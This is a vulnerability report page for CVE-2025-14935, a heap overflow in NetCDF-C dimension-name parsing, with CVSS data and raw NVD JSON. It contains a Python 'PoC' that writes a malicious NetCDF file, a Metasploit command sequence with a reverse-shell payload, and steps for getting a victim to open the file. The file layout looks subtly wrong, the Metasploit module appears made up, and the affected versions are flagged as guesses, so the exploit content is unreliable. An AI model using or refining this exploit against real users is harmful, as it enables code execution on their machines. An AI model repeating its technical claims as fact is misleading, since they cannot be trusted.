Security Vulnerability Report
中文
CVE-2025-14935 CVSS 7.8 HIGH

CVE-2025-14935

Published: 2025-12-23 21:15:49
Last Modified: 2026-01-13 21:00:09

Description

NSF Unidata NetCDF-C Dimension Name Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of NSF Unidata NetCDF-C. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of dimension names. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-27168.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:unidata:netcdf:-:*:*:*:*:*:*:* - VULNERABLE
NSF Unidata NetCDF-C < 4.9.0 (可能受影响的版本)
NetCDF-C 4.7.x 系列
NetCDF-C 4.8.x 系列
具体受影响版本需参考官方安全公告

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-14935 PoC - Malicious NetCDF file generator # This PoC demonstrates the heap buffer overflow in NetCDF-C dimension name parsing # Note: This is for educational and security research purposes only import struct import sys def create_malicious_netcdf(output_file): """ Generate a malicious NetCDF file with an oversized dimension name to trigger the heap buffer overflow vulnerability (CVE-2025-14935) """ # NetCDF magic number magic = b'CDF\x01' # NetCDF classic format # Dimension name that exceeds expected buffer size # This triggers the heap buffer overflow in dimension name parsing oversized_dimension_name = b'A' * 10000 # 10000 bytes, exceeds typical buffer # Build the malicious NetCDF file structure with open(output_file, 'wb') as f: # Write NetCDF header f.write(magic) # Write numrecs (4 bytes) - number of records f.write(struct.pack('>I', 0)) # Write dimension name with length prefix dim_name_len = len(oversized_dimension_name) f.write(struct.pack('>I', dim_name_len)) # Dimension name length f.write(oversized_dimension_name) # Oversized dimension name # Write dimension size f.write(struct.pack('>I', 0)) print(f"[+] Malicious NetCDF file created: {output_file}") print(f"[+] Oversized dimension name length: {len(oversized_dimension_name)} bytes") print(f"[!] This file can trigger CVE-2025-14935 when opened by vulnerable NetCDF-C version") def create_python_ncgen_poc(): """ Alternative PoC using Python netCDF4 library to create malicious file """ poc_code = ''' #!/usr/bin/env python3 # CVE-2025-14935 PoC - Trigger via netCDF4 Python library try: from netCDF4 import Dataset import numpy as np # Create malicious NetCDF file with oversized dimension name # This simulates what an attacker could do to trigger the vulnerability ncfile = Dataset('malicious_cve_2025_14935.nc', mode='w', format='NETCDF3_CLASSIC') # Create dimension with very long name to trigger overflow # The vulnerability exists in the C library parsing, not Python binding long_dim_name = 'A' * 10000 # This will trigger the overflow when opened by vulnerable C library ncfile.createDimension(long_dim_name, 0) ncfile.close() print("[+] Malicious file created: malicious_cve_2025_14935.nc") except ImportError: print("[!] netCDF4 library not installed. Install with: pip install netCDF4") # Metasploit module reference (if available in framework): # use exploit/multi/misc/cve_2025_14935_netcdf_overflow # set RHOSTS target_ip # set PAYLOAD cmd/unix/reverse_python # exploit ''' return poc_code if __name__ == '__main__': print("CVE-2025-14935 PoC Generator") print("=" * 50) if len(sys.argv) > 1: create_malicious_netcdf(sys.argv[1]) else: create_malicious_netcdf('malicious_cve_2025_14935.nc') print("\n[*] To trigger the vulnerability:") print(" 1. Have target user open this file with vulnerable NetCDF-C application") print(" 2. Or use a web application that processes NetCDF files") print(" 3. The heap overflow can lead to RCE under current user context")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14935", "sourceIdentifier": "[email protected]", "published": "2025-12-23T21:15:49.023", "lastModified": "2026-01-13T21:00:09.187", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NSF Unidata NetCDF-C Dimension Name Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of NSF Unidata NetCDF-C. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of dimension names. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-27168."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:unidata:netcdf:-:*:*:*:*:*:*:*", "matchCriteriaId": "73B63AB3-3949-4925-8E64-A93551AD441B"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-1154/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}